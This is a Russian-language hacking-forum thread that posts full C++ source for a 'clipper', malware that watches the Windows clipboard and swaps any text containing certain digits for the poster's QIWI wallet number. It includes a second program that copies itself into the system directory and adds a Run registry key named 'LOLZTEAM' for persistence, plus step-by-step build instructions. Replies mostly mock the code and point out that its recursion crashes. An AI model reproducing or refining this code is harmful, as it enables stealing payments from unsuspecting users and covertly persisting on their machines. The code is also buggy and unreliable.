Загрузка...

Простейший клиппер С++

Тема в разделе C/C++ создана пользователем DildoBeggins 31 июл 2018. 697 просмотров

Загрузка...
  1. DildoBeggins
    DildoBeggins Автор темы 31 июл 2018 Заблокирован(а) 39 2 янв 2018
    Файл Создать Проект Visual C++ Проект Vin32 Далее Приложение и пустой проект
    Проект Добавить новый элемент Файл Cpp и задаем название
    Кидаем код
    Код

    #include <windows.h>
    #include <atomic>
    #include <string>
    #include <vector>
    #include <iostream>
    #include <memory>
    #include <algorithm>
    #include <conio.h>
    #include <winnt.h>


    using namespace std;


    auto get_clipboard_text() -> std::wstring
    {
    std::wstring return_value = L"";

    if (!OpenClipboard(nullptr))
    {
    CloseClipboard();
    return return_value;
    }

    HGLOBAL m_clipboard_data = GetClipboardData(CF_UNICODETEXT);

    if (m_clipboard_data == static_cast< HGLOBAL >(nullptr))
    {
    CloseClipboard();
    return return_value;
    }

    WCHAR* m_text = static_cast< WCHAR* >(GlobalLock(m_clipboard_data));

    if (m_text == nullptr)
    {
    CloseClipboard();
    return return_value;
    }

    return_value = m_text;

    if (!GlobalUnlock(m_clipboard_data))
    return L"";

    CloseClipboard();

    return return_value;
    }

    auto copy_text_to_clipboard(const char* text) -> void
    {
    if (OpenClipboard(nullptr))
    {
    EmptyClipboard();

    char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH));
    lstrcpyA(clip_data, text);

    SetClipboardData(CF_TEXT, static_cast< void* >(clip_data));

    ULONG* ulong = static_cast< ULONG* >(GlobalAlloc(GMEM_FIXED, sizeof(ULONG)));

    *ulong = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT);

    SetClipboardData(CF_LOCALE, static_cast< void* >(ulong));

    CloseClipboard();
    }
    }

    auto main_clipper() -> void
    {

    auto buf = get_clipboard_text();

    auto wallet_qiwi = "88005553535"; // Менять на Ваш номер

    if (buf.find(L"38") != std::wstring::npos)
    copy_text_to_clipboard(wallet_qiwi);
    else if (buf.find(L"7") != std::wstring::npos)
    copy_text_to_clipboard(wallet_qiwi);

    Sleep(100);

    return main_clipper();
    }

    auto WINAPI WinMain(HMODULE, HMODULE, char*, int) -> BOOL
    {

    main_clipper();

    _getch();
    }

    Следом делаем код для автозагрузки клиппера
    Код

    #include <windows.h>

    int main()
    {
    HKEY hk;
    char fullpath[1024],
    sysbuf[256];

    GetModuleFileName(GetModuleHandle(NULL), fullpath, 1024);

    char* fname = strrchr(fullpath, '\\');
    GetSystemDirectory(sysbuf, 256);

    strcat(sysbuf, fname);

    CopyFile(fullpath, sysbuf, false);

    RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);

    RegSetValueEx(hk, "LOLZTEAM", 0, REG_SZ, (LPBYTE)sysbuf, strlen(sysbuf));
    RegCloseKey(hk);


    return 0;
    }
     
  2. anefe
    anefe 31 июл 2018 Заблокирован(а) 403 28 окт 2017
    разве тут не нужно добавлять заголовочные Файлы?
     
  3. DildoBeggins
    DildoBeggins Автор темы 31 июл 2018 Заблокирован(а) 39 2 янв 2018
    хуле нам колхозникам
     
  4. fullydie
    fullydie 31 июл 2018 Заблокирован(а) 159 3 дек 2017
    клиппер это ?
     
  5. DildoBeggins
    DildoBeggins Автор темы 31 июл 2018 Заблокирован(а) 39 2 янв 2018
    Что он делает? Чекает буфер обмена на те самые заветные цифры и меняет их на твой кошелек
     
  6. zaebalo
    zaebalo 31 июл 2018 Заблокирован(а)
    Да
    Да
    Да
     
  7. DildoBeggins
    DildoBeggins Автор темы 31 июл 2018 Заблокирован(а) 39 2 янв 2018
    Это С++ :podumai: :what2:
     
  8. fullydie
    fullydie 31 июл 2018 Заблокирован(а) 159 3 дек 2017
    и я о том же ))
     
  9. PPaz
    PPaz 31 июл 2018 Заблокирован(а) 0 4 июн 2018
    Стек переполнится и упадёт программа
     
  10. Спермохлёб2004
    Спермохлёб2004 8 авг 2018 Заблокирован(а) 0 2 авг 2018
    Такого говнокода я еще не видел
     
Top